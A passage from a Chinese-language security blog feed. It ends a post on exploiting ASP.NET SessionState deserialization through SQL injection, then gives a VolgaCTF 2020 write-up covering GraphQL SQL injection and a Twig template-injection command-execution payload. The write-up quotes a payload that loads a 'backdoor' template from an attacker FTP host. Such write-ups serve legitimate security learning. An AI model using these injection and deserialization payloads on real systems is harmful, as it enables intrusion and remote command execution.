<p>&#x6700;&#x5F8C;&#x7684;&#x6B65;&#x9A5F;&#x5C31;&#x662F;&#x5229;&#x7528;&#x958B;&#x982D;&#x7684; SQL Injection &#x5C07;&#x60E1;&#x610F;&#x7684;&#x5E8F;&#x5217;&#x5316;&#x5167;&#x5BB9;&#x6CE8;&#x5165;&#x9032;&#x53BB;&#x8CC7;&#x6599;&#x5EAB;&#xFF0C;&#x5982;&#x679C;&#x6B63;&#x5E38;&#x700F;&#x89BD;&#x76EE;&#x6A19;&#x7DB2;&#x7AD9;&#x6642;&#x6709;&#x51FA;&#x73FE; ASP.NET_SessionId &#x7684; Cookie &#x5C31;&#x4EE3;&#x8868;&#x5DF2;&#x7D93;&#x6709;&#x4E00;&#x7B46;&#x5C0D;&#x61C9;&#x7684; Session &#x8A18;&#x9304;&#x5132;&#x5B58;&#x5728;&#x8CC7;&#x6599;&#x5EAB;&#x88E1;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x5011;&#x53EA;&#x9700;&#x8981;&#x57F7;&#x884C;&#x5982;&#x4E0B;&#x7684; SQL Update &#x8A9E;&#x53E5;&#xFF1A;</p>
<pre><code class="language-plaintext">?id=1; UPDATE ASPState.dbo.ASPStateTempSessions
       SET SessionItemShort = 0x{Hex_Encoded_Payload}
       WHERE SessionId LIKE &apos;{ASP.NET_SessionId}%25&apos;; --
</code></pre>
<p>&#x5206;&#x5225;&#x5C07; <code>{ASP.NET_SessionId}</code> &#x66FF;&#x63DB;&#x6210;&#x81EA;&#x5DF1;&#x7684; ASP.NET_SessionId &#x7684; Cookie &#x503C;&#x4EE5;&#x53CA; <code>{Hex_Encoded_Payload}</code> &#x66FF;&#x63DB;&#x6210;&#x524D;&#x9762;&#x6E96;&#x5099;&#x597D;&#x7684;&#x5E8F;&#x5217;&#x5316; payload &#x5373;&#x53EF;&#x3002;</p>
<p>&#x90A3;&#x5047;&#x5982;&#x6C92;&#x6709; ASP.NET_SessionId &#x600E;&#x9EBC;&#x8FA6;&#xFF1F;&#x9019;&#x8868;&#x793A;&#x76EE;&#x6A19;&#x53EF;&#x80FD;&#x9084;&#x672A;&#x5132;&#x5B58;&#x4EFB;&#x4F55;&#x8CC7;&#x6599;&#x5728; Session &#x4E4B;&#x4E2D;&#xFF0C;&#x6240;&#x4EE5;&#x4E5F;&#x5C31;&#x4E0D;&#x6703;&#x7522;&#x751F;&#x4EFB;&#x4F55;&#x8A18;&#x9304;&#x5728;&#x8CC7;&#x6599;&#x5EAB;&#x88E1;&#xFF0C;&#x4F46;&#x65E2;&#x7136;&#x6C92;&#x6709;&#x7684;&#x8A71;&#xFF0C;&#x90A3;&#x6211;&#x5011;&#x5C31;&#x786C;&#x585E;&#x4E00;&#x500B; Cookie &#x7D66;&#x5B83;&#xFF01;ASP.NET &#x7684; SessionId &#x662F;&#x900F;&#x904E;&#x4E82;&#x6578;&#x7522;&#x751F;&#x7684; 24 &#x500B;&#x5B57;&#x5143;&#xFF0C;&#x4F46;&#x4F7F;&#x7528;&#x4E86;&#x5BA2;&#x88FD;&#x5316;&#x7684;&#x5B57;&#x5143;&#x96C6;&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x4EE5;&#x4E0B;&#x7684; Python script &#x7522;&#x751F;&#x4E00;&#x7D44; SessionId&#xFF0C;&#x4F8B;&#x5982;&#xFF1A;plxtfpabykouhu3grwv1j1qw&#xFF0C;&#x4E4B;&#x5F8C;&#x5E36;&#x4E0A; <code>Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw</code> &#x700F;&#x89BD;&#x4EFB;&#x4E00;&#x500B; aspx &#x9801;&#x9762;&#xFF0C;&#x7406;&#x8AD6;&#x4E0A; ASP.NET &#x5C31;&#x6703;&#x81EA;&#x52D5;&#x5728;&#x8CC7;&#x6599;&#x5EAB;&#x88E1;&#x6DFB;&#x52A0;&#x4E00;&#x7B46;&#x8A18;&#x9304;&#x3002;</p>
<pre><code class="language-python">import random
chars = &apos;abcdefghijklmnopqrstuvwxyz012345&apos;
print(&apos;&apos;.join(random.choice(chars) for i in range(24)))
</code></pre>
<p>&#x5047;&#x5982;&#x5728;&#x8CC7;&#x6599;&#x5EAB;&#x88E1;&#x4ECD;&#x7136;&#x6C92;&#x6709;&#x4EFB;&#x4F55;&#x8A18;&#x9304;&#x51FA;&#x73FE;&#xFF0C;&#x90A3;&#x5C31;&#x53EA;&#x80FD;&#x624B;&#x52D5;&#x523B; INSERT &#x7684; SQL &#x4F86;&#x5275;&#x9020;&#x4E00;&#x500B;&#x8A18;&#x9304;&#xFF0C;&#x81F3;&#x65BC;&#x5982;&#x4F55;&#x523B;&#x51FA;&#x9019;&#x90E8;&#x5206;&#xFF1F;&#x53EA;&#x8981;&#x770B;&#x770B;&#x7A0B;&#x5F0F;&#x78BC;&#x61C9;&#x8A72;&#x5C31;&#x53EF;&#x4EE5;&#x5F88;&#x5BB9;&#x6613;&#x69CB;&#x9020;&#x51FA;&#x4F86;&#xFF0C;&#x6240;&#x4EE5;&#x7559;&#x7D66;&#x5927;&#x5BB6;&#x81EA;&#x884C;&#x53BB;&#x73A9; :P</p>
<p>&#x7B49;&#x5230; Payload &#x9806;&#x5229;&#x6CE8;&#x5165;&#x5F8C;&#xFF0C;&#x53EA;&#x8981;&#x518D;&#x6B21;&#x7528;&#x9019;&#x500B; Cookie <code>ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw</code> &#x700F;&#x89BD;&#x4EFB;&#x4F55;&#x4E00;&#x500B; aspx &#x9801;&#x9762;&#xFF0C;&#x5C31;&#x6703;&#x89F8;&#x767C;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x57F7;&#x884C;&#x4EFB;&#x610F;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#xFF01;</p>
<br>
<br>
<p>&#x984C;&#x5916;&#x8A71;&#xFF0C;&#x5229;&#x7528; SessionState &#x7684;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x53D6;&#x5F97; ASP.NET &#x7DB2;&#x7AD9;&#x61C9;&#x7528;&#x7A0B;&#x5F0F;&#x4E3B;&#x6A5F;&#x63A7;&#x5236;&#x6B0A;&#x7684;&#x5834;&#x666F;&#x4E26;&#x4E0D;&#x50C5;&#x9650;&#x65BC; SQL Injection&#x3002;&#x5728;&#x5167;&#x7DB2;&#x6EF2;&#x900F;&#x6E2C;&#x8A66;&#x7684;&#x904E;&#x7A0B;&#x4E2D;&#xFF0C;&#x7D93;&#x5E38;&#x6703;&#x9047;&#x5230;&#x7684;&#x60C5;&#x5883;&#x662F;&#xFF0C;&#x6211;&#x5011;&#x900F;&#x904E;&#x5404;&#x65B9;&#x7684;&#x8CC7;&#x8A0A;&#x6D29;&#x6F0F; ( &#x4F8B;&#x5982;&#xFF1A;&#x5167;&#x90E8; GitLab&#x3001;&#x4EFB;&#x610F;&#x8B80;&#x6A94;&#x7B49; ) &#x53D6;&#x5F97;&#x8A31;&#x591A; SQL Server &#x7684;&#x5E33;&#x865F;&#x3001;&#x5BC6;&#x78BC;&#xFF0C;&#x4F46;&#x552F;&#x7368;&#x53D6;&#x5F97;&#x4E0D;&#x4E86;&#x76EE;&#x6A19; ASP.NET &#x7DB2;&#x7AD9;&#x61C9;&#x7528;&#x7A0B;&#x5F0F;&#x7684; Windows &#x4E3B;&#x6A5F;&#x7684;&#x5E33;&#x865F;&#x5BC6;&#x78BC;&#xFF0C;&#x800C;&#x70BA;&#x4E86;&#x9054;&#x6210;&#x76EE;&#x6A19; ( &#x63A7;&#x5236;&#x6307;&#x5B9A;&#x7684;&#x7DB2;&#x7AD9;&#x4E3B;&#x6A5F; )&#xFF0C;&#x6211;&#x5011;&#x5C31;&#x66FE;&#x7D93;&#x4F7F;&#x7528;&#x904E;&#x9019;&#x500B;&#x65B9;&#x5F0F;&#x53D6;&#x5F97;&#x76EE;&#x6A19;&#x7684;&#x63A7;&#x5236;&#x6B0A;&#xFF0C;&#x6240;&#x4EE5;&#x4F5C;&#x70BA;&#x5167;&#x7DB2;&#x6A6B;&#x5411;&#x79FB;&#x52D5;&#x7684;&#x624B;&#x6BB5;&#x4E5F;&#x662F;&#x7A0D;&#x5FAE;&#x6709;&#x50F9;&#x503C;&#x4E14;&#x975E;&#x5E38;&#x6709;&#x8DA3;&#x3002;&#x81F3;&#x65BC;&#x9084;&#x80FD;&#x6709;&#x4EC0;&#x9EBC;&#x6A23;&#x7684;&#x82B1;&#x6A23;&#x8207;&#x73A9;&#x6CD5;&#xFF0C;&#x5C31;&#x8981;&#x9760;&#x5404;&#x4F4D;&#x6301;&#x7E8C;&#x5730;&#x767C;&#x63EE;&#x60F3;&#x50CF;&#x529B;&#xFF01;</p>
<br>
<p>&#x6B64;&#x7BC7;&#x6587;&#x7AE0;&#x540C;&#x6642;&#x767C;&#x8868;&#x65BC;&#xFF1A;<a href="https://devco.re/blog/2020/04/21/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/">DEVCORE Blog</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[VolgaCTF 2020 Qualifier: Library, Newsletter, User Center Write-up]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x9019;&#x6B21;&#x4E00;&#x6A23;&#x5FEB;&#x901F;&#x8A18;&#x9304; VolgaCTF 2020 Qualifier &#x7684;&#x4E09;&#x9053; Web &#x984C;&#x76EE;&#xFF0C;&#x56E0;&#x70BA;&#x6C92;&#x6709;&#x7A7A;&#x800C;&#x4E0D;&#x80FD;&#x4EE5; full time &#x6A21;&#x5F0F;&#x4F86;&#x89E3;&#x984C;&#xFF0C;&#x6240;&#x4EE5;&#x53EA;&#x5728;&#x62BD;&#x7A7A;&#x6642;&#x9593;&#x5167;&#x4F86;&#x5F97;&#x53CA;&#x89E3;&#x51FA; 3</p>]]></description><link>https://cyku.tw/volgactf-2020-qualifier/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f3411</guid><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Sun, 29 Mar 2020 16:04:53 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>&#x9019;&#x6B21;&#x4E00;&#x6A23;&#x5FEB;&#x901F;&#x8A18;&#x9304; VolgaCTF 2020 Qualifier &#x7684;&#x4E09;&#x9053; Web &#x984C;&#x76EE;&#xFF0C;&#x56E0;&#x70BA;&#x6C92;&#x6709;&#x7A7A;&#x800C;&#x4E0D;&#x80FD;&#x4EE5; full time &#x6A21;&#x5F0F;&#x4F86;&#x89E3;&#x984C;&#xFF0C;&#x6240;&#x4EE5;&#x53EA;&#x5728;&#x62BD;&#x7A7A;&#x6642;&#x9593;&#x5167;&#x4F86;&#x5F97;&#x53CA;&#x89E3;&#x51FA; 3 &#x984C;&#x800C;&#x5DF2; QQ</p>
<h2 id="library150">Library - 150 &#x5206;</h2>
<p>&#x9019;&#x984C;&#x4E00;&#x500B;&#x7C21;&#x55AE;&#x7684;&#x767B;&#x5165;&#x3001;&#x767B;&#x51FA;&#x529F;&#x80FD;&#xFF0C;&#x767B;&#x5165;&#x5F8C;&#x5C31;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6709;&#x5132;&#x5B58;&#x66F8;&#x7C4D;&#x7684;&#x5217;&#x8868;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/2020/03/VolgaCTF_2020_Qualifier_library_01.png" alt="VolgaCTF_2020_Qualifier_library_01" loading="lazy"></p>
<p>&#x5176;&#x4E2D;&#x80CC;&#x5F8C;&#x67E5;&#x8A62;&#x5217;&#x8868;&#x7684; API &#x662F;&#x900F;&#x904E; GraphQL &#x4F86;&#x67E5;&#x8A62;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/2020/03/VolgaCTF_2020_Qualifier_library_02.png" alt="VolgaCTF_2020_Qualifier_library_02" loading="lazy"></p>
<p>&#x5C0D;&#x65BC;&#x6E2C;&#x8A66; GraphQL API &#x7684;&#x8D77;&#x624B;&#x5F0F;&#x5C31;&#x662F;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x5167;&#x5EFA; Introspection &#x64CD;&#x4F5C;&#x4F86;&#x8ACB;&#x6C42;&#x53D6;&#x5F97;&#x6240;&#x6709; Query / Mutation &#x7684; schema&#xFF0C;&#x5617;&#x8A66;&#x627E;&#x51FA;&#x96B1;&#x85CF;&#x3001;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x7684; API&#x3002;&#x70BA;&#x4E86;&#x65B9;&#x4FBF;&#x6027;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x4F7F;&#x7528; <a href="https://github.com/Urigo/graphql-cli">GraphQL CLI</a> &#x9019;&#x5957;&#x5DE5;&#x5177;&#x4F86;&#x5354;&#x52A9;&#x5B8C;&#x6210;&#x64CD;&#x4F5C;&#x3002;</p>
<p>&#x53EA;&#x8981;&#x4F9D;&#x7167;&#x9806;&#x5E8F;&#x57F7;&#x884C;&#x4E0B;&#x9762;&#x5169;&#x500B;&#x6307;&#x4EE4;&#xFF0C;&#x5C31;&#x80FD;&#x7372;&#x5F97;&#x76EE;&#x6A19;&#x4E0A; GraphQL API &#x5B8C;&#x6574;&#x7684; schema&#xFF1A;</p>
<pre><code class="language-bash"># &#x7522;&#x751F; .graphqlconfig &#x8A2D;&#x5B9A;&#x6A94;
$ graphql init  

# &#x53D6;&#x5F97; schema
$ graphql get-schema
</code></pre>
<p><img src="https://cyku.tw/content/images/2020/03/VolgaCTF_2020_Qualifier_library_03.png" alt="VolgaCTF_2020_Qualifier_library_03" loading="lazy"></p>
<p>&#x800C;&#x6211;&#x53D6;&#x5F97;&#x7684; schema &#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>
<pre><code class="language-graphql"># source: http://library.q.2020.volgactf.ru:7781/api
# timestamp: Sat Mar 28 2020 20:23:14 GMT+0800 (GMT+08:00)

type Book {
  title: String!
  author: String!
  pic: String!
}

type LoginResponse {
  login: String
  name: String
  email: String
  token: String
}

input LoginUser {
  login: String
  password: String
}

type Mutation {
  _empty: String
  register(user: RegisterUser): String
}

type Query {
  _empty: String
  login(user: LoginUser): LoginResponse
  testGetUsersByFilter(filter: UserFilter): [User]
  books: [Book]
}

input RegisterUser {
  login: String
  password: String
  name: String
  email: String
}

type User {
  login: String
  name: String
  email: String
}

input UserFilter {
  login: String
  name: String
  email: String
}
</code></pre>
<p>&#x5176;&#x4E2D;&#x767C;&#x73FE;&#x4E00;&#x500B;&#x6709;&#x8DA3;&#x7684; Query testGetUsersByFilter&#xFF0C;&#x9019;&#x500B; Query &#x53EF;&#x4EE5;&#x5229;&#x7528; login&#x3001;name&#x3001;email &#x7B49;&#x4E09;&#x500B;&#x6B04;&#x4F4D;&#x4F86;&#x67E5;&#x8A62;&#x5B58;&#x5728;&#x7CFB;&#x7D71;&#x4E0A;&#x7684;&#x4F7F;&#x7528;&#x8005;&#xFF0C;&#x7E3D;&#x800C;&#x8A00;&#x4E4B;&#x3001;&#x8A00;&#x800C;&#x7E3D;&#x4E4B;&#xFF0C;&#x7D93;&#x904E;&#x4E00;&#x756A;&#x9ED1;&#x7BB1;&#x6E2C;&#x8A66;&#x5F8C;&#x6211;&#x5011;&#x767C;&#x73FE;&#x6709; SQL Injection XD&#xFF0C;&#x76EE;&#x6A19;&#x6703;&#x522A;&#x9664;&#x55AE;&#x5F15;&#x865F;&#x5B57;&#x5143;&#xFF0C;&#x4F46;&#x53EF;&#x4EE5;&#x7528;&#x53CD;&#x659C;&#x7DDA; \ &#x53BB;&#x628A;&#x5F8C;&#x65B9;&#x7684;&#x55AE;&#x5F15;&#x865F;&#x5403;&#x6389;&#x3002;</p>
<p>&#x9ED1;&#x7BB1;&#x731C;&#x6E2C;&#x6703;&#x7D44;&#x6210;&#x985E;&#x4F3C;&#x5982;&#x4E0B;&#x7684; SQL&#xFF1A;</p>
<pre><code class="language-SQL">SELECT * FROM users WHERE login = &apos;$login&apos; AND name = &apos;$name&apos;
</code></pre>
<p>&#x6240;&#x4EE5;&#x8B93; $login = <code>meow\</code> &#x800C; $name = <code>union select 1,2,3,4,user(),6#</code> &#x5C31;&#x53EF;&#x4EE5;&#x7D44;&#x5408;&#x51FA;&#xFF1A;</p>
<pre><code class="language-SQL">SELECT * FROM users WHERE login = &apos;meow\&apos; AND name = &apos;union select 1,2,3,4,user(),6#&apos;
</code></pre>
<p>&#x5C31;&#x80FD;&#x5229;&#x7528; union &#x9032;&#x884C;&#x67E5;&#x8A62;&#x4EE5;&#x53D6;&#x5F97;&#x8CC7;&#x6599;&#x5EAB;&#x5167;&#x5BB9;&#xFF0C;&#x800C;&#x5269;&#x4E0B;&#x7684;&#x5C31;&#x662F;&#x4E00;&#x4E9B;&#x6A19;&#x6E96;&#x52D5;&#x4F5C;&#x4E86;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/2020/03/VolgaCTF_2020_Qualifier_library_04.png" alt="VolgaCTF_2020_Qualifier_library_04" loading="lazy"></p>
<p>&#x6700;&#x5F8C;&#x53D6;&#x5F97; flag &#x7684; Payload:</p>
<pre><code class="language-plaintext">POST /api HTTP/1.1
Host: library.q.2020.volgactf.ru:7781
Accept: application/json
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://library.q.2020.volgactf.ru:7781/index.html
content-type: application/json
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Indvb2ZAbWFpbGluYXRvci5jb20iLCJuYW1lIjoid29vZiIsImxvZ2luIjoid29vZiIsImlhdCI6MTU4NTQ4OTA2MywiZXhwIjoxNTg1NDkyNjYzfQ.D54N_s5LVyUp7LXLZrwimAoA0bDi6WKACTv3NbOEpT0
origin: http://library.q.2020.volgactf.ru:7781
Content-Length: 272
Connection: close

{
    &quot;query&quot;:&quot;query testGetUsersByFilter($input: UserFilter) {testGetUsersByFilter(filter: $input){login name email}}&quot;,
    &quot;variables&quot;:{
        &quot;input&quot;:{
            &quot;login&quot;:&quot;meow\\&quot;,
            &quot;name&quot;:&quot;union select 1,2,3,4,flag,6 from flag#&quot;
        }
    }
}
</code></pre>
<p>Flag&#xFF1A;<code>VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}</code></p>
<br>
<h2 id="newsletter200">Newsletter - 200 &#x5206;</h2>
<p>&#x9019;&#x984C;&#x662F; PHP &#x767D;&#x7BB1;&#x984C;&#xFF0C;&#x6709;&#x63D0;&#x4F9B; Source Code &#x5982;&#x4E0B;&#xFF1A;</p>
<pre><code class="language-php">&lt;?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;

class MainController extends AbstractController
{
    public function index(Request $request)
    {
      return $this-&gt;render(&apos;main.twig&apos;);
    }

    public function subscribe(Request $request, MailerInterface $mailer)
    {
      $msg = &apos;&apos;;
      $email = filter_var($request-&gt;request-&gt;get(&apos;email&apos;, &apos;&apos;), FILTER_VALIDATE_EMAIL);
      if($email !== FALSE) {
        $name = substr($email, 0, strpos($email, &apos;@&apos;));

        $content = $this-&gt;get(&apos;twig&apos;)-&gt;createTemplate(
          &quot;&lt;p&gt;Hello ${name}.&lt;/p&gt;&lt;p&gt;Thank you for subscribing to our newsletter.&lt;/p&gt;&lt;p&gt;Regards, VolgaCTF Team&lt;/p&gt;&quot;
        )-&gt;render();

        $mail = (new Email())-&gt;from(&apos;newsletter@newsletter.q.2020.volgactf.ru&apos;)-&gt;to($email)-&gt;subject(&apos;VolgaCTF Newsletter&apos;)-&gt;html($content);
        $mailer-&gt;send($mail);

        $msg = &apos;Success&apos;;
      } else {
        $msg = &apos;Invalid email&apos;;
      }
      return $this-&gt;render(&apos;main.twig&apos;, [&apos;msg&apos; =&gt; $msg]);
    }


    public function source()
    {
        return new Response(&apos;&lt;pre&gt;&apos;.htmlspecialchars(file_get_contents(__FILE__)).&apos;&lt;/pre&gt;&apos;);
    }
}
</code></pre>
<p>&#x5F9E;&#x7A0B;&#x5F0F;&#x78BC;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6211;&#x5011;&#x50B3;&#x9001;&#x904E;&#x53BB; $email &#x8B8A;&#x6578;&#x6703;&#x88AB;&#x53D6; @ &#x524D;&#x65B9;&#x7684;&#x5B57;&#x4E32;&#x6307;&#x6D3E;&#x7D66; $name&#xFF0C;&#x7136;&#x5F8C; $name &#x76F4;&#x63A5;&#x88AB;&#x5E36;&#x5165; Twig &#x7684;&#x6A21;&#x677F;&#x5B57;&#x4E32;&#x4E2D;&#x4E26;&#x5EFA;&#x7ACB;&#x6A21;&#x677F;&#x57F7;&#x884C;&#xFF0C;&#x6240;&#x4EE5;&#x9019;&#x908A;&#x5C31;&#x6709;&#x500B; Twig &#x7684; Server-Side Template Injection&#xFF0C;&#x4F46;&#x9996;&#x5148;&#x6211;&#x5011;&#x5FC5;&#x9808;&#x7E5E;&#x904E; <code>filter_var($request-&gt;request-&gt;get(&apos;email&apos;, &apos;&apos;), FILTER_VALIDATE_EMAIL)</code> &#x9019;&#x884C;&#x7684;&#x9650;&#x5236;&#xFF0C;&#x5FC5;&#x9808;&#x662F;&#x5408;&#x6CD5;&#x7684; email &#x53C8;&#x5305;&#x542B;&#x6A21;&#x677F;&#x8A9E;&#x6CD5;&#x3002;</p>
<p>&#x800C;&#x6211;&#x7684;&#x968A;&#x53CB;&#x5728; Stack Overflow &#x4E0A;&#x627E;&#x5230;&#x9019;&#x7BC7;&#x6587;&#x7AE0;&#xFF1A;<a href="https://stackoverflow.com/questions/19220158/php-filter-validate-email-does-not-work-correctly">PHP FILTER_VALIDATE_EMAIL does not work correctly</a>&#xFF0C;&#x5E95;&#x4E0B;&#x56DE;&#x8986;&#x63D0;&#x4F9B;&#x4E86;&#x9817;&#x70BA;&#x5B8C;&#x6574;&#x7684;&#x5408;&#x6CD5; email &#x7BC4;&#x4F8B;&#x5217;&#x8868;&#xFF0C;&#x5176;&#x4E2D;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x4E00;&#x500B;&#x5F88;&#x91CD;&#x8981;&#x7684;&#x7BC4;&#x4F8B;&#xFF1A;<code>&quot;()&lt;&gt;[]:,;@\\&quot;!#$%&amp;&apos;*+-/=?^_``{}| ~.a&quot;@example.org</code>&#xFF0C;&#x9019;&#x500B;&#x7BC4;&#x4F8B;&#x544A;&#x8A34;&#x6211;&#x5011;&#xFF0C;&#x5982;&#x679C; email &#x4E2D;&#x7684; username &#x5305;&#x62EC;&#x4E00;&#x4E9B;&#x7279;&#x6B8A;&#x7B26;&#x865F;&#xFF0C;&#x53EA;&#x8981;&#x4F7F;&#x7528;&#x96D9;&#x5F15;&#x865F; &quot; &#x5C07; username &#x5305;&#x593E;&#x8D77;&#x4F86;&#xFF0C;&#x5C31;&#x6703;&#x88AB;&#x8996;&#x70BA;&#x4E00;&#x500B;&#x5408;&#x6CD5;&#x7684; email&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x5011;&#x80FD;&#x69CB;&#x9020; <code>&quot;{{3*4}}&quot;@a.a</code> &#x9019;&#x6A23;&#x7684; Payload &#x5C31;&#x80FD;&#x8EB2;&#x904E; filter_var &#x7684;&#x9650;&#x5236;&#x3002;</p>
<p>&#x63A5;&#x8457;&#x5C31;&#x662F;&#x5617;&#x8A66;&#x4F5C; SSTI &#x7684;&#x5229;&#x7528;&#xFF0C;&#x5982;&#x679C;&#x76F4;&#x63A5;&#x4E0A;&#x7DB2; Google&#xFF0C;&#x901A;&#x5E38;&#x90FD;&#x6703;&#x627E;&#x5230;&#x9019;&#x6A23;&#x7684; Payload&#xFF1A;</p>
<p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig">PayloadsAllTheThings/Server Side Template Injection</a></p>
<pre><code>{{self}}
{{_self.env.setCache(&quot;ftp://attacker.net:2121&quot;)}}{{_self.env.loadTemplate(&quot;backdoor&quot;)}}
{{_self.env.registerUndefinedFilterCallback(&quot;exec&quot;)}}{{_self.env.getFilter(&quot;id&quot;)}}
</code></pre>
<p>&#x9019;&#x500B; Payload &#x662F;&#x5229;&#x7528;&#x5167;&#x5EFA; _self &#x8B8A;&#x6578;&#x4F86;&#x53D6;&#x5F97; \Twig\Template &#x7684;&#x5BE6;&#x4F8B;&#x4F86;&#x57F7;&#x884C;&#x60E1;&#x610F;&#x51FD;&#x5F0F;&#x4F5C;&#x5229;&#x7528;&#xFF0C;&#x4F46;&#x5982;&#x679C;&#x53BB;&#x67E5;&#x5B98;&#x7DB2; <a href="https://twig.symfony.com/doc/1.x/deprecated.html#globals">Documentation</a> &#x6703;&#x767C;&#x73FE;&#x9019;&#x500B;&#x8B8A;&#x6578;&#x65E9;&#x5DF2;&#x88AB;&#x68C4;&#x7528;&#xFF0C;&#x73FE;&#x5728;&#x53EA;&#x6703;&#x56DE;&#x50B3;&#x4E00;&#x500B;&#x5B57;&#x4E32;&#x4EE3;&#x8868;&#x7576;&#x524D;&#x6A21;&#x677F;&#x540D;&#x7A31; QQ&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x5011;&#x5FC5;&#x9808;&#x5C0B;&#x627E;&#x65B0;&#x7684;&#x5229;&#x7528;&#x65B9;&#x5F0F;&#x3002;</p>
<p>&#x5728; Twig &#x6A21;&#x677F;&#x88E1;&#x9762;&#x652F;&#x63F4; filter &#x8A9E;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x547C;&#x53EB;&#x5167;&#x5EFA;&#x6216;&#x81EA;&#x5B9A;&#x7FA9;&#x7684; filter &#x51FD;&#x5F0F;&#x5728;&#x8F38;&#x51FA;&#x8B8A;&#x6578;&#x6642;&#x5C0D;&#x8B8A;&#x6578;&#x503C;&#x4F5C;&#x683C;&#x5F0F;&#x5316;&#x6216;&#x5176;&#x4ED6;&#x8655;&#x7406;&#xFF0C;&#x8B6C;&#x5982;&#xFF1A;<code>{{ &quot;aa&quot;|upper }}</code> &#x53EF;&#x4EE5;&#x5C07; aa &#x5728;&#x8F38;&#x51FA;&#x6642;&#x8B8A;&#x6210; AA&#x3002;</p>
<p>&#x65BC;&#x662F;&#x6211;&#x5C31;&#x4EE5;&#x5B57;&#x4E32; <code>new TwigFilter(</code> &#x641C;&#x5C0B;&#x7A0B;&#x5F0F;&#x78BC;&#x88E1;&#x6240;&#x6709;&#x5167;&#x5EFA;&#x7684; filter &#x51FD;&#x5F0F;&#xFF0C;&#x5176;&#x4E2D;&#x767C;&#x73FE;&#x4E00;&#x500B;&#x975E;&#x5E38;&#x6709;&#x8DA3;&#x7684;&#x51FD;&#x5F0F;&#xFF1A;</p>
<pre><code class="language-php">new TwigFilter(&apos;map&apos;, &apos;twig_array_map&apos;)

function twig_array_map($array, $arrow)
{
    $r = [];
    foreach ($array as $k =&gt; $v) {
        $r[$k] = $arrow($v, $k);
    }

    return $r;
}
</code></pre>
<p>&#x6C92;&#x932F;&#xFF0C;&#x76F4;&#x63A5;&#x628A;&#x6211;&#x5011;&#x53EF;&#x63A7;&#x7684;&#x8B8A;&#x6578; $arrow &#x7576;&#x4F5C;&#x51FD;&#x5F0F;&#x540D;&#x7A31;&#x9032;&#x884C;&#x547C;&#x53EB;&#xFF0C;&#x6070;&#x597D; $v &#x4E5F;&#x662F;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x63A7;&#x5236;&#x7684;&#x8B8A;&#x6578;&#xFF0C;&#x53EA;&#x8981;&#x627E;&#x5230;&#x4E00;&#x500B;&#x51FD;&#x5F0F;&#x53EF;&#x4EE5;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x4E26;&#x5141;&#x8A31;&#x50B3;&#x905E;&#x7B2C;&#x4E8C;&#x500B;&#x53C3;&#x6578;&#xFF0C;&#x5C31;&#x80FD; GetShell&#xFF0C;&#x9019;&#x7A2E;&#x51FD;&#x5F0F;&#x4E5F;&#x4E0D;&#x5C11;&#xFF0C;&#x4F8B;&#x5982; <code>passthru ( string $command [, int &amp;$return_var ] )</code> &#x5C31;&#x5F88;&#x7B26;&#x5408;&#x6211;&#x5011;&#x7684;&#x9700;&#x6C42;&#x3002;</p>
<p>&#x6240;&#x4EE5;&#x53EA;&#x8981;&#x6CE8;&#x5165;&#x6A21;&#x677F; <code>{{ [&apos;id&apos;]|map(&apos;passthru&apos;) }}</code> &#x5C31;&#x80FD;&#x57F7;&#x884C; id &#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#xFF0C;&#x7D50;&#x5408;&#x524D;&#x9762; email &#x7684;&#x898F;&#x5247;&#x5C31;&#x80FD;&#x5920;&#x9020;&#x51FA; <code>&quot;{{[&apos;id&apos;]|map(&apos;passthru&apos;)}}&quot;@a.a</code> &#x7684; Payload&#xFF0C;&#x4E0D;&#x904E;&#x5BE6;&#x6E2C;&#x5F8C;&#x767C;&#x73FE;&#x5C31;&#x7B97;&#x4F7F;&#x7528;&#x96D9;&#x5F15;&#x865F;&#x5305;&#x593E;&#xFF0C;&#x53EA;&#x8981;&#x6709;&#x7A7A;&#x767D;&#x5B57;&#x5143;&#x51FA;&#x73FE;&#x5C31;&#x6703;&#x88AB;&#x5224;&#x5B9A;&#x70BA;&#x4E0D;&#x5408;&#x6CD5;&#x7684; email&#xFF0C;&#x597D;&#x5728;&#x53EA;&#x662F;&#x7528;&#x4E0D;&#x4E86;&#x7A7A;&#x767D;&#x7684; Command Injection &#x5C0D; CTF 